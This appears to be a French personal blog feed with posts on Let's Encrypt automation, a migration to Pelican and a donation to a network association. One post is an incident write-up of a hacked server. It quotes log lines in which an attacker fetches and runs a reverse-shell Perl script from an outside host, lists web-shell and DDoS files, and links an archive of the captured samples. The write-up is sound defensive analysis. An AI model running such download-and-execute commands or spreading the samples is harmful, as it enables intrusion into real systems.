Jonathan.Michalon.eu//jonathan.michalon.eu/2015-12-24T16:34:00+01:00$HOME de JonathanLet's Encrypt2015-12-24T16:34:00+01:002015-12-24T16:34:00+01:00johndescstag:jonathan.michalon.eu,2015-12-24:/lets-encrypt.html<p><a class="reference external" href="https://letsencrypt.org/about/">Let's Encrypt</a> est une initiative visant à répandre le chiffrement des
communications à base de certificat X.509 sur le net, en facilitant son déploiement.</p>
<p>Cette initiative a généré beaucoup de bruit, car comme toujours il y a du bon et
du moins bon. Pour simplifier, je dirais que Let's …</p><p><a class="reference external" href="https://letsencrypt.org/about/">Let's Encrypt</a> est une initiative visant à répandre le chiffrement des
communications à base de certificat X.509 sur le net, en facilitant son déploiement.</p>
<p>Cette initiative a généré beaucoup de bruit, car comme toujours il y a du bon et
du moins bon. Pour simplifier, je dirais que Let's Encrypt permet de générer
des certificats (reconnus à peu près partout en utilisation web), valables 90 jours, permettant de définir
plusieurs noms DNS (ou même un joker (wildcard)) et ce gratuitement et automatiquement.
Plus d'informations <a class="reference external" href="https://letsencrypt.org/about/">sur leur site</a>.
Habituellement c'est un processus relativement ennuyeux, souvent payant ou sinon plus limité.</p>
<div class="section" id="essais">
<h2>Essais</h2>
<p>Au gré des lectures, j'ai vu passer un <a class="reference external" href="https://github.com/diafygi/acme-tiny">client non-officiel</a>, et certaines personnes
qui me semblaient sensées affirmaient qu'il était encore plus simple et efficace.
Par hasard j'ai donc commencé à regarder le README, puis le code, et à tester…</p>
<p>Le README est très explicite, et globalement ça fonctionne effectivement bien.
À part quelques détails et un bug (corrigé du coup :)) dans le domaine que j'ai pris comme cobaye,
pas de soucis.</p>
</div>
<div class="section" id="mise-en-place">
<h2>Mise en place</h2>
<p>Voici comment j'ai mis en place tout cela, guidé par le README du client et un peu de pifomètre.
Pour comprendre, vraiment, lisez le README…</p>
<div class="section" id="base">
<h3>Base</h3>
<div class="highlight"><pre><span></span><span class="nb">cd</span> /usr/local/bin/
wget https://raw.githubusercontent.com/diafygi/acme-tiny/master/acme_tiny.py
chmod +x acme_tiny.py
adduser --system --no-create-home acme
mkdir /etc/ssl/letsencrypt
<span class="nb">cd</span> /etc/ssl/letsencrypt
</pre></div>
<p>Ici le dossier <tt class="docutils literal">/etc/ssl/letsencrypt</tt> est peut-être pas très malin : vu que certains fichiers vont être
amenés à changer automatiquement c'est plutôt à caser dans <tt class="docutils literal">/var</tt>… à améliorer un jour peut-être.</p>
<p>Suite, un peu de crypto (clef privée du compte à sauvegarder !) :</p>
<div class="highlight"><pre><span></span>openssl genrsa <span class="m">4096</span> > account.key
chown acme account.key
chmod <span class="m">600</span> account.key
wget -O intermediate.pem https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem
</pre></div>
<p>Edit: passage au certificat X3, voir <a class="reference external" href="https://letsencrypt.org/certificates/">https://letsencrypt.org/certificates/</a></p>
</div>
<div class="section" id="scripts-de-deploiement">
<h3>Scripts de déploiement</h3>
<dl class="docutils">
<dt>Globalement, pour chaque nouveau domaine :</dt>
<dd><ol class="first last arabic simple">
<li>Créer une clef privée</li>
<li>Générer la requête de signature (CSR)</li>
<li>Préparer le terrain pour les fichiers de vérification du domaine (créer le dossier <tt class="docutils literal"><span class="pre">acme-challenge</span></tt>)</li>
</ol>
</dd>
</dl>
<p>Pour moi ça se concrétise en :</p>
<div class="highlight"><pre><span></span><span class="ch">#!/bin/bash</span>
<span class="o">[</span> <span class="nv">$#</span> -eq <span class="m">2</span> <span class="o">]</span> <span class="o">||</span> <span class="nb">exit</span>
<span class="nv">domain</span><span class="o">=</span><span class="nv">$1</span>
<span class="nv">acmedir</span><span class="o">=</span><span class="nv">$2</span>
<span class="nb">cd</span> /etc/ssl/letsencrypt
openssl genrsa <span class="m">4096</span> > <span class="nv">$domain</span>.key
chmod <span class="m">600</span> <span class="nv">$domain</span>.key
openssl req -new -sha256 -key <span class="nv">$domain</span>.key -subj <span class="s2">"/"</span> -reqexts SAN -config <<span class="o">(</span>cat ./openssl.cnf <<span class="o">(</span><span class="nb">printf</span> <span class="s2">"[SAN]\nsubjectAltName=DNS:</span><span class="nv">$domain</span><span class="s2">,DNS:www.</span><span class="nv">$domain</span><span class="s2">"</span><span class="o">))</span> > <span class="nv">$domain</span>.csr
mkdir -p <span class="nv">$acmedir</span>/.well-known/acme-challenge/
chown acme <span class="nv">$acmedir</span>/.well-known/acme-challenge/
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$domain</span><span class="s2"> </span><span class="nv">$acmedir</span><span class="s2">/.well-known/acme-challenge/"</span> >> autoupdate
</pre></div>
<p>La dernière ligne ajoute une entrée dans un fichier spécial <tt class="docutils literal">autoupdate</tt>, qui permet au script de renouvellement
de savoir quels certificats renouveler et dans quel dossier mettre les fichiers de vérification.</p>
<p>Et donc, le script de (re)génération des certificats qui correspond (je l'ai mis dans <tt class="docutils literal">/etc/cron.monthly/letsencrypt</tt>) :</p>
<div class="highlight"><pre><span></span><span class="ch">#!/bin/bash</span>
<span class="nv">DIR</span><span class="o">=</span>/etc/ssl/letsencrypt/
<span class="nv">TODAY</span><span class="o">=</span><span class="k">$(</span>date +%Y%m%d<span class="k">)</span>
cat <span class="nv">$DIR</span>/autoupdate <span class="p">|</span> <span class="k">while</span> <span class="nb">read</span> -a data<span class="p">;</span> <span class="k">do</span>
<span class="nv">domain</span><span class="o">=</span><span class="si">${</span><span class="nv">data</span><span class="p">[0]</span><span class="si">}</span>
<span class="nv">acmedir</span><span class="o">=</span><span class="si">${</span><span class="nv">data</span><span class="p">[1]</span><span class="si">}</span>
<span class="k">if</span> <span class="o">[</span> -e <span class="nv">$DIR</span>/<span class="nv">$domain</span>.pem <span class="o">]</span> <span class="o">&&</span> <span class="o">[[</span> <span class="sb">`</span>date -d <span class="s2">"now - </span><span class="k">$(</span> stat -c <span class="s2">"%Y"</span> <span class="nv">$DIR</span>/<span class="nv">$domain</span>.pem<span class="k">)</span><span class="s2"> seconds"</span> +%s<span class="sb">`</span> -lt <span class="m">4320000</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
<span class="nb">echo</span> <span class="s2">"Skipping </span><span class="nv">$domain</span><span class="s2"> as too young (less than 50 days)"</span>
<span class="k">continue</span>
<span class="k">fi</span>
<span class="k">if</span> ! <span class="o">[</span> -d <span class="nv">$acmedir</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
mkdir -p <span class="nv">$acmedir</span>
chown acme <span class="nv">$acmedir</span>
<span class="k">fi</span>
sudo -u acme python /usr/local/bin/acme_tiny.py --account-key <span class="nv">$DIR</span>/account.key --csr <span class="nv">$DIR</span>/<span class="nv">$domain</span>.csr --acme-dir <span class="nv">$acmedir</span> > <span class="nv">$DIR</span>/<span class="nv">$domain</span>.crt-<span class="nv">$TODAY</span>
<span class="k">if</span> <span class="o">[</span> <span class="nv">$?</span> -eq <span class="m">0</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
cat <span class="nv">$DIR</span>/<span class="nv">$domain</span>.crt-<span class="nv">$TODAY</span> <span class="nv">$DIR</span>/intermediate.pem > <span class="nv">$DIR</span>/<span class="nv">$domain</span>.pem
chmod <span class="m">600</span> <span class="nv">$DIR</span>/<span class="nv">$domain</span>.pem
<span class="k">fi</span>
chmod <span class="m">600</span> <span class="nv">$DIR</span>/<span class="nv">$domain</span>.crt-<span class="nv">$TODAY</span>
<span class="k">done</span>
service apache2 reload
</pre></div>
<p>J'évite de générer si le fichier existe et a moins de 50 jours (90 jours de validité, en cron monthly au max donc tous les 31 jours, avec un
peu de marge disons 40, donc on arrive bien à 90-40=50).</p>
<p>Le nouveau certificat, je le mets dans un fichier plus ou moins "versionné", avec la date dans le nom quoi. C'est pour
éviter d'écraser le certificat précédent en cas de mauvaise manipulation (qui m'est arrivé pendant l'écriture du script) ou
pour réparer rapidement au cas où une génération se passerait mal, en repartant sur le précédent.</p>
<p>Voila, pour l'instant j'ai 4 sites qui sont passés du snakeoil du paquet <tt class="docutils literal"><span class="pre">ssl-cert</span></tt> à un vrai certificat
reconnu comme cela. Le dernier a été "TLSifié" en 3 minutes 30, ça va ! On verra maintenant
au moment du renouvellement… ne pas oublier d'ajouter une vérification à son monitoring
(auto-pub : <a class="reference external" href="http://gitlab.netlib.re/arn/picomon">picomon</a> par exemple) si on tient à son site en TLS.</p>
<p>EDIT:</p>
<blockquote>
<ul class="simple">
<li>Dans le script, passage de l'opérateur <tt class="docutils literal"><</tt> à <tt class="docutils literal"><span class="pre">-lt</span></tt> car « <tt class="docutils literal">Lorsqu'ils sont utilisés avec [[, les opérateurs < et > ordonnent d'un point de vue lexicographique en utilisant les paramètres linguistiques régionaux actuels.</tt> ».
Ceci faisant donc une exception à l'évaluation arithmétique…</li>
<li>Ajout de la création du dossier <tt class="docutils literal">acmedir</tt> s'il n'existe plus (il peut avoir été écrasé comme par exemple avec <tt class="docutils literal">make ssh_upload</tt> de Pelican qui fait un rsync avec l'option <tt class="docutils literal"><span class="pre">--delete</span></tt>).</li>
</ul>
</blockquote>
</div>
</div>
Activité suspecte sur mon serveur2015-11-29T14:56:00+01:002015-11-29T14:56:00+01:00johndescstag:jonathan.michalon.eu,2015-11-29:/activite-suspecte-sur-mon-serveur.html<p>L'autre jour, on me signale que mon serveur autohébergé ventile à fond
et qu'une vingtaine de processus bizarres « fuckyou » tournent…</p>
<p>Avant de s'emballer et de tout stopper, il vaut mieux un peu prospecter tant que le
problème se manifeste. J'ai donc tenté d'analyser la situation.</p>
<div class="highlight"><pre><span></span>27530 www-data 20 0 65588 …</pre></div><p>L'autre jour, on me signale que mon serveur autohébergé ventile à fond
et qu'une vingtaine de processus bizarres « fuckyou » tournent…</p>
<p>Avant de s'emballer et de tout stopper, il vaut mieux un peu prospecter tant que le
problème se manifeste. J'ai donc tenté d'analyser la situation.</p>
<div class="highlight"><pre><span></span>27530 www-data 20 0 65588 14992 2960 S 33,9 0,4 94:21.25 fuckyou
7813 www-data 20 0 81840 21996 2680 R 28,3 0,6 18:43.69 fuckyou
9100 www-data 20 0 65588 16836 3056 R 28,3 0,5 18:07.07 fuckyou
18127 www-data 20 0 82184 22252 2680 R 28,3 0,6 0:50.64 fuckyou
20030 www-data 20 0 65588 15496 3056 R 28,3 0,4 100:20.62 fuckyou
28898 www-data 20 0 81840 21996 2680 R 28,3 0,6 44:27.26 fuckyou
30245 www-data 20 0 81856 21496 2588 S 28,3 0,6 42:41.14 fuckyou
761 www-data 20 0 65588 15684 3136 S 22,6 0,4 33:19.00 fuckyou
3579 www-data 20 0 81972 22644 2944 R 22,6 0,6 26:36.35 fuckyou
6680 www-data 20 0 81856 21496 2588 R 22,6 0,6 19:23.37 fuckyou
16931 www-data 20 0 81972 22644 2944 R 17,0 0,6 1:08.35 fuckyou
</pre></div>
<p>Ne sachant pas d'où venait ce processus, et n'en trouvant évidemment pas s'appellant « fuckyou »
dans les dossiers web, j'ai été voir dans <tt class="docutils literal"><span class="pre">/proc/<pid></span></tt> :</p>
<div class="highlight"><pre><span></span>lrwxrwxrwx 1 www-data www-data 0 nov. 25 11:07 cwd -> /tmp
lrwxrwxrwx 1 www-data www-data 0 nov. 25 11:04 exe -> /usr/bin/perl
</pre></div>
<p>OK, du perl. Voyons si on en trouve… (<em>gros coup de rgrep sur /var/www</em>)… oui !
D'ailleurs tout le dossier est "amusant" :</p>
<div class="highlight"><pre><span></span>$ ll gitlist/cache/
-rw-r--r-- 1 www-data www-data 184021 juil. 9 2014 alo.php
drwxr-xr-x 5 www-data www-data 4096 oct. 30 2014 archives
-rw-r--r-- 1 www-data www-data 99552 déc. 13 2013 b374k-2.8.php
-rwxr-xr-x 1 www-data www-data 1446 juil. 1 2014 b374k_rs.py
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.php
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt.1
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt.2
-rw-r--r-- 1 www-data www-data 1168 juil. 1 2014 hitit.pl
drwxr-xr-x 2 www-data www-data 4096 juil. 1 2014 hit.pl
-rw-r--r-- 1 www-data www-data 1848 juil. 1 2014 hity.py
-rw-r--r-- 1 www-data www-data 2585 juil. 9 2014 palse.php
drwxr-xr-x 2 www-data www-data 4096 juil. 1 2014 pyddos.py
-rw-r--r-- 1 www-data www-data 1848 juil. 1 2014 SersZQbI.txt
drwxr-xr-x 18 www-data www-data 4096 juil. 3 2014 views
-rw-r--r-- 1 www-data www-data 26 juil. 9 2014 x.php
</pre></div>
<p>Seulement, problème : rien dans les logs du vhost servant le gitlist. Je l'avais
désactivé il y a un moment, car il ne servait plus vraiment, n'était jamais mis à jour etc.</p>
<p>En analysant les fichiers (des utilitaires de <a class="reference external" href="https://fr.wikipedia.org/wiki/Attaque_par_d%C3%A9ni_de_service">DDOS</a> principalement,
mais il y a aussi un petit script de prise en main à distance),
j'ai remarqué qu'ils aimaient bien cacher le code dans du <a class="reference external" href="https://fr.wikipedia.org/wiki/Base64">base64</a>.
C'est pratique, le base64, car c'est un codage supporté un peu partout, et qui évite justement que le code soit
trop facilement lisible. Par contre un programme obfusqué ainsi est très facile à exécuter, il suffit de faire quelque chose
comme <tt class="docutils literal"><span class="pre">eval(base64_decode())</span></tt>.
Donc j'ai refait une recherche, sur <tt class="docutils literal">base64_decode</tt> ce coup-ci.</p>
<p>La recherche m'a mené tout droit au webdav d'ARN, le dépôt de documents de l'asso :</p>
<div class="highlight"><pre><span></span>-rw-r--r-- 1 www-data www-data 169015 nov. 27 2014 asd.exe
-rw-r--r-- 1 www-data www-data 188728 nov. 23 05:55 log.php
drwxr-xr-x 4 www-data www-data 4096 nov. 27 2014 Panel
-rw-r--r-- 1 www-data www-data 2297381 nov. 27 2014 Panel.tar.gz
</pre></div>
<p>Ce sont une sorte de shell en PHP, permettant de lancer des commandes, ou diverses
actions préconfigurées (comme un <em>reverse shell</em>, qui se connecte de lui-même à l'attaquant ;
un exemple (obfusqué) est visible dans <tt class="docutils literal">log.php</tt>).
Et là au moins il y a des traces dans les logs du serveur web ! Entre autres :</p>
<div class="highlight"><pre><span></span>[25/Nov/2015:07:58:33 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Fwww%2Fdav%2Farn%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Flog.txt%3B+mv+log.txt+log.php&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:40:46 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:40:53 +0100] "GET /asd.php?act=ls&d=%2Fvar%2Ftmp&sort=0a HTTP/1.1" 200
[25/Nov/2015:08:41:09 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl%3B+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:42:38 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+ref.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:42:47 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
Correspondant à :
wget blackops.unixssh.com/My_Log/log.txt; mv log.txt log.php
wget blackops.unixssh.com/My_Log/rev.pl perl rev.pl; rm -rf rev.pl
ls /var/tmp
wget blackops.unixssh.com/My_Log/rev.pl; perl rev.pl; rm -rf rev.pl
rm -rv ref.pl
rm -rv rev.pl
</pre></div>
<p>On voit ici pas mal de typos (3 je pense) ; il devait être pressé, peut-être plein de sessions en parallèle à gérer ?</p>
<p>Je n'ai pas réussi à trouver dans les logs quand le fichier <tt class="docutils literal">asd.php</tt> est apparu ; il était déjà là il y a un an
(le plus vieux que j'ai en logs, ils sont effacés après). Par contre, le serveur renvoyait un 403 jusqu'à samedi dernier,
jour où j'ai fait ma migration à Debian Jessie. J'ai dû activer PHP sur ce vhost alors qu'avant il devait être désactivé
(je suis passé de FCGId à FPM pour la gestion PHP dans la foulée).</p>
<div class="section" id="ce-que-j-ai-fait">
<h2>Ce que j'ai fait</h2>
<p>J'aurais peut-être dû réinstaller tout, mais c'est un tantinet… fastidieux. En pratique : n'est concerné qu'un
LXC web, très peu de chances qu'il y ait eu des accès root, problème plus ou moins localisé, scripts DDOS en vue…</p>
<ul>
<li><p class="first">J'ai changé le mot de passe du webdav, qui était vraiment bien mauvais (court, dans le dictionnaire, c'était un test
à la base !).</p>
</li>
<li><p class="first">Avec le passage à FPM, on peut configurer des "pool" différents de processus PHP. J'ai donc créé trois pool, pour éviter
encore plus les débordements : un pour les sites sous Drupal, un pour les Wordpress et un pour le reste. Il y a donc
trois comptes utilisateurs différents (uid UNIX), et j'ai ajusté les permissions en conséquence (un wordpress troué ne pourra donc
rien voir d'autre que les wordpress).</p>
</li>
<li><p class="first">Au lieu d'activer PHP globalement, je l'active maintenant uniquement dans les vhost qui en ont besoin. J'ai créé une
petite macro apache2 pour faciliter le choix du pool :</p>
<pre class="literal-block">
<Macro GetPHP ${pool}>
<FilesMatch "\.php$">
SetHandler "proxy:unix:///var/run/php5-fpm-${pool}.sock|fcgi://"
</FilesMatch>
</Macro>
</pre>
<p>ce qui donne à l'usage, dans un vhost :</p>
<pre class="literal-block">
Use GetPHP nom-pool
</pre>
</li>
</ul>
</div>
<div class="section" id="bonus">
<h2>Bonus</h2>
<p>Voici un tar de tout le matériel que j'ai récupéré, si vous voulez analyser le problème
avant qu'il ne vous arrive :</p>
<ul>
<li><p class="first">Les fichiers anormaux du cache du gitlist ;</p>
</li>
<li><p class="first">Ce que j'ai retrouvé dans le /tmp (un des scripts est prévu pour chercher une archive ZIP,
apparemment pour utiliser une faille d'un plugin Wordpress, revslider).</p>
<p>Le ZIP a été téléchargé 3 fois, car le script utilise 3 méthodes au cas où (wget, curl et un autre).
J'en mets un seul dans le tar.</p>
</li>
<li><p class="first">Les parties intéressantes du log apache, réduites aux infos importantes.</p>
</li>
<li><p class="first">Le fichier rev.pl mentionné dans les commandes plus haut, que j'ai téléchargé moi-même par la suite.</p>
</li>
</ul>
<p>Par <a class="reference external" href="/files/piratage-johndescs.tar.xz">ici</a> !</p>
</div>
Passage à Pelican2015-11-28T18:46:00+01:002015-11-28T18:46:00+01:00johndescstag:jonathan.michalon.eu,2015-11-28:/passage-a-pelican.html<p>Depuis le temps que je me disais qu'il fallait que je passe à un moteur de site
statique (je n'ai absolument pas besoin personnellement d'interface web pour
écrire des articles), voila, c'est fait.</p>
<p>À la base j'ai juste voulu écrire un article, plus long qu'un simple lien sur le
<a class="reference external" href="/shaarli">Shaarli …</a></p><p>Depuis le temps que je me disais qu'il fallait que je passe à un moteur de site
statique (je n'ai absolument pas besoin personnellement d'interface web pour
écrire des articles), voila, c'est fait.</p>
<p>À la base j'ai juste voulu écrire un article, plus long qu'un simple lien sur le
<a class="reference external" href="/shaarli">Shaarli</a>. Mais comment dire ? Rien qu'à l'idée de devoir se loguer sur
le Drupal, se ballader dans l'interface pour ajouter un article etc. l'effet
dissuasif avait sévit. J'en ai donc profité pour regarder -- vite fait bien sûr --
s'il n'y avait pas par hasard un thème Pelican qui m'aurait convenu. Puis j'ai testé.
Au final, j'ai commencé à vouloir reprendre tout ce qu'il y avait sur le Drupal.</p>
<p>Moins de 24h plus tard, voila, j'ai poussé un site avec un contenu à peu près
semblable à la place du site en Drupal.</p>
<div class="section" id="mise-en-place">
<h2>Mise en place</h2>
<div class="section" id="site-de-base">
<h3>Site de base</h3>
<p>J'ai commencé, comme suggéré partout, par la commande <tt class="docutils literal">quickstart</tt>.</p>
<pre class="literal-block">
$ pelican-quickstart
</pre>
<p>J'ai ensuite importé les articles, avec la commande <tt class="docutils literal">import</tt>.</p>
<pre class="literal-block">
$ pelican-import --strip-raw --feed http://jonathan.michalon.eu/fr/blog.xml -o content
</pre>
<p>N'ayant évidemment récupéré que 10 articles, j'ai dû aller bidouiller dans les
paramètres du module <em>views</em> de Drupal pour qu'il publie tous les articles dans
le flux, puis relancé l'import.</p>
<p>Quelques petits ajustements étaient de mise, sinon compilation pas contente.</p>
<pre class="literal-block">
$ for file in content/*; do sed -i 's/^| //;s/brush://' $file; done
</pre>
<p>Grosso modo, l'import est raisonnable, y compris gras/italique/images. Le
formattage des champs de syntaxhighlighter avaient perdu les sauts de lignes,
donc il a fallu les rajouter à la main. J'ai aussi repris les images pour
les inclure au site (l'import les ajoute bien, mais avec un lien).</p>
<p>On fera, à chaque essai, un <tt class="docutils literal">make html</tt>, qui génèrera les fichiers HTML de notre site.
Un mini serveur web python peut servir
de test pour le dev en local, lancé par <tt class="docutils literal">make serve</tt>, bien pratique.
À savoir que, quand on fera make publish (automatiquement fait par un <tt class="docutils literal">make rsync_upload</tt> par exemple),
un fichier de configuration supplémentaire, <tt class="docutils literal">publishconf.py</tt> sera ajouté
et permettra de définir des paramètres "de prod".</p>
</div>
<div class="section" id="theme">
<h3>Thème</h3>
<p>J'ai ensuite passé un bon moment à tester quelques thèmes, en suivant les étapes
documentées <a class="reference external" href="http://www.christianlong.com/blog/more-on-pelican-themes.html">ici</a>
(principalement l'utilisation des <tt class="docutils literal">git submodules</tt>),
pour au final rester sur celui qui m'avait paru le plus simple, le thème
actuel. Il a quand même fallu que je modifie des portions directement dedans,
pour la traduction, la pagination, le CSS…</p>
</div>
<div class="section" id="structure">
<h3>Structure</h3>
<p>J'ai passé un temps certain sur la structure du site, pourtant extrêmement simple.
Mais il y a pas mal de variantes, et le temps de comprendre ce qu'il se passe
est souvent long…</p>
<p>Le "menu" en haut à droit est composé de 4 parties : le lien "home", que j'ai ici
désactivé ; les fichiers de type "page" (liés par défaut) ; des pages
générées de structure (comme la page archives) et enfin des entrées manuelles.
Le blog est une entrée manuelle car je ne souhaitais pas l'avoir en page d'accueil. Le Shaarli est
externe, donc manuel. Les deux pages "À propos" et "Ressources" sont automatiques.</p>
<p>Pour obtenir une page d'accueil, avec ce thème, il faut apparemment déplacer le blog
et poser une autre page en <tt class="docutils literal">index.html</tt>, via la métadonnée <tt class="docutils literal">save_as</tt> de la page.</p>
<p>Les directives (dépendantes du thème) utilisées ici sont :</p>
<div class="highlight"><pre><span></span><span class="n">MENUITEMS</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="s1">'Blog'</span><span class="p">,</span> <span class="s1">'/blog_index.html'</span><span class="p">,</span> <span class="s1">'Microblogging'</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'Shaarli'</span><span class="p">,</span> <span class="s1">'http://jonathan.michalon.eu/shaarli'</span><span class="p">,</span> <span class="s1">'Microblogging'</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">ARCHIVES_URL</span> <span class="o">=</span> <span class="s1">'archives'</span>
<span class="n">ARCHIVES_SAVE_AS</span> <span class="o">=</span> <span class="s1">'archives/index.html'</span>
<span class="n">MENU_INTERNAL_PAGES</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="s1">'Archives'</span><span class="p">,</span> <span class="n">ARCHIVES_URL</span><span class="p">,</span> <span class="n">ARCHIVES_SAVE_AS</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">INDEX_SAVE_AS</span> <span class="o">=</span> <span class="s1">'blog_index.html'</span>
<span class="n">DISPLAY_HOME</span> <span class="o">=</span> <span class="bp">None</span>
</pre></div>
<p><tt class="docutils literal">INDEX_SAVE_AS</tt> impose au template "index" d'écrire un fichier "blog_index.html",
lui-même décliné par la pagination en "blog_indexN.html".</p>
</div>
<div class="section" id="verifications">
<h3>Vérifications</h3>
<p>Bien entendu, une étape de vérification complète est nécessaire, pour retrouver
les problèmes restants. L'opération est grandement facilitée, car on peut enfin
taper à grand coup de <tt class="docutils literal">grep</tt> dans le texte !</p>
</div>
<div class="section" id="enjoy">
<h3>Enjoy !</h3>
<p>Il me reste à finaliser et nettoyer, mettre tout ça sous git. Et bien sûr, écrire des articles
beaucoup plus simplement, dans mon éditeur de texte favori, déployés grâce à un
<tt class="docutils literal">Makefile</tt>, sauvegardés facilement
et par un bête <tt class="docutils literal">git push</tt> et ne nécessitant ni PHP ni base de données ! :)</p>
<p>Pour l'anectote, j'ai voulu passer les noms de la page des applications Android
de simple emphase (italique) à emphase prononcée (gras). Un coup de <tt class="docutils literal">sed</tt> et hop ! :</p>
<pre class="literal-block">
$ sed -i -E 's/\* \*(.*)\*/\* \*\*\1\*\*/' content/pages/android.md
</pre>
<p>À noter que la page <tt class="docutils literal">android.md</tt> la seule page en Markdown que j'ai pour l'instant, car on peut imposer
des sauts de lignes sans changer de paragraphe tout simplement avec deux espaces en fin de ligne.
Apparemment c'est pas prévu en reStructuredText.</p>
<p>Pour couronner le tout, ceci est apparemment mon 42e article ici…</p>
<pre class="literal-block">
Done: Processed 42 article(s), 0 draft(s) and 2 page(s) in 1.22 seconds.
</pre>
</div>
<div class="section" id="documentation">
<h3>Documentation</h3>
<p>Liens pour la doc de Pelican 3.4.0, celui de Debian Jessie.</p>
<ul class="simple">
<li>Paramètres Pelican : <a class="reference external" href="http://docs.getpelican.com/en/3.4.0/settings.html">http://docs.getpelican.com/en/3.4.0/settings.html</a></li>
<li>Écrire du contenu : <a class="reference external" href="http://docs.getpelican.com/en/3.4.0/content.html">http://docs.getpelican.com/en/3.4.0/content.html</a></li>
<li>Environnement des thèmes : <a class="reference external" href="http://docs.getpelican.com/en/3.4.0/themes.html">http://docs.getpelican.com/en/3.4.0/themes.html</a></li>
<li>Sur reStructuredText : <a class="reference external" href="http://sphinx-doc.org/rest.html">http://sphinx-doc.org/rest.html</a></li>
</ul>
</div>
</div>
Folie ou raison ? Je vais jeter mes sous par la fenêtre. Enfin non, beaucoup mieux !2015-04-23T19:42:00+02:002015-04-23T19:42:00+02:00johndescstag:jonathan.michalon.eu,2015-04-23:/folie-ou-raison-je-vais-jeter-mes-sous-par-la-fenetre-enfin-non-beaucoup-mieux.html<p>J'ai 24 ans, et je vais mettre 20000€ dans une asso d'une vingtaine de
membres.
Comment est-ce possible ? Pourquoi ?</p>
<p>C'est pas très compliqué : je bosse dans un labo depuis 2 ans, et je
ne dépense vraiment rien. C'est un peu un choix, surtout un état
d'esprit ; pour la moindre dépense …</p><p>J'ai 24 ans, et je vais mettre 20000€ dans une asso d'une vingtaine de
membres.
Comment est-ce possible ? Pourquoi ?</p>
<p>C'est pas très compliqué : je bosse dans un labo depuis 2 ans, et je
ne dépense vraiment rien. C'est un peu un choix, surtout un état
d'esprit ; pour la moindre dépense, je regarde à deux fois avant de la
faire, et souvent ça finit en « boff au final j'y gagne pas grand chose,
autant garder ça pour plus tard, quelque chose de plus
cher/important/intéressant ».
Et j'aime bien récupérer, rénover, réparer, je trouve ça intéressant
et beaucoup plus satisfaisant que d'acheter du neuf ou du tout fait
(dans la limite du raisonnable, des fois c'est quand même trop
contraignant…).</p>
<p>Je gagne 1600€ net par mois (c'est pas énorme par rapport à mon
"niveau d'études" comme on dit, ok, mais c'est déjà pas si mal, et j'ai
en échange un boulot tranquille et qui me laisse pas mal de temps). Je
ne dépense rien, mais vraiment rien. Pas de loyer (je vis chez mes
parents), pas de bouffe (on va pas commencer à pinailler là-dessus,
surtout que ça se passait quand j'étais enfant/étudiant). 240€ de tram
par an de déplacement.
Faites le calcul : 1600×24 = 38400€. Ok, y'a les impôts, des trucs
comme ça. Mais 20000€, ça passe.</p>
<p>Je pourrais garder ça pour acheter une maison, une voiture, me payer une
fête de mariage (oui, 20000€, c'est ce qu'a dépensé le couple de
quelqu'un de ma promo de master pour ça !). Mais non, je préfère
construire quelque chose d'insolite, et qui en plus va profiter à toute
l'asso, et aux valeurs que nous y défendons.</p>
<p>J'ai donc décidé de donner un grand coup de pouce à l'asso ARN (Alsace
Réseau Neutre), dans laquelle je m'investis depuis le tout début, il y a
à peu près 3 ans. Pour l'instant nous n'avons quasi rien, il faut que ça
change. C'est exactement le genre de projet auquel je pense quand je dis
que je garde mes sous pour « quelque chose de plus
cher/important/intéressant ».
C'est l'occasion de faire quelque chose à fond et en grand, autant
pour moi que pour l'asso.</p>
<p>Pourquoi ARN ? Parce que c'est ce qui m'intéresse (l'informatique et la
promotion du libre), parce que ça fait 3 ans qu'on attend, et parce que
c'est dans la continuité de mon évolution informatique : bidouillage
occasionnel au labo de mon père, simple PC à la maison, raccordement à
internet, serveur perso à la maison. Monter une infra en datacenter,
avec baie dédiée et plusieurs transitaires c'est une sorte de level-up,
le pied pour un l'adminsys libriste : être root sur tout, d'un bout à
l'autre, autant sur le logiciel que sur le matériel. Actuellement on
"squatte" une infrastructure limitée, co-gérée avec une asso similaire
lorraine. On a donc déjà testé et mis en production la plupart des
éléments techniques et administratifs pour mener ce projet à bien ; je
sais donc que ça devrait marcher sans trop de problèmes, il n'y a pas de
gros risque.</p>
<p>Du coup, go ! Que l'aventure commence.</p>
La fibre, c'est pour aujourd'hui !2014-11-02T20:52:00+01:002014-11-02T20:52:00+01:00johndescstag:jonathan.michalon.eu,2014-11-02:/la-fibre-cest-pour-aujourdhui.html<p>On parle beaucoup de la fibre, il se passe parfois des choses, souvent
rien… toujours est-il qu'habiter dans un quartier d'immeubles de grande
hauteur ça peut avoir un intérêt : la fibre (via Orange) est disponible
dans mon immeuble depuis peu !</p>
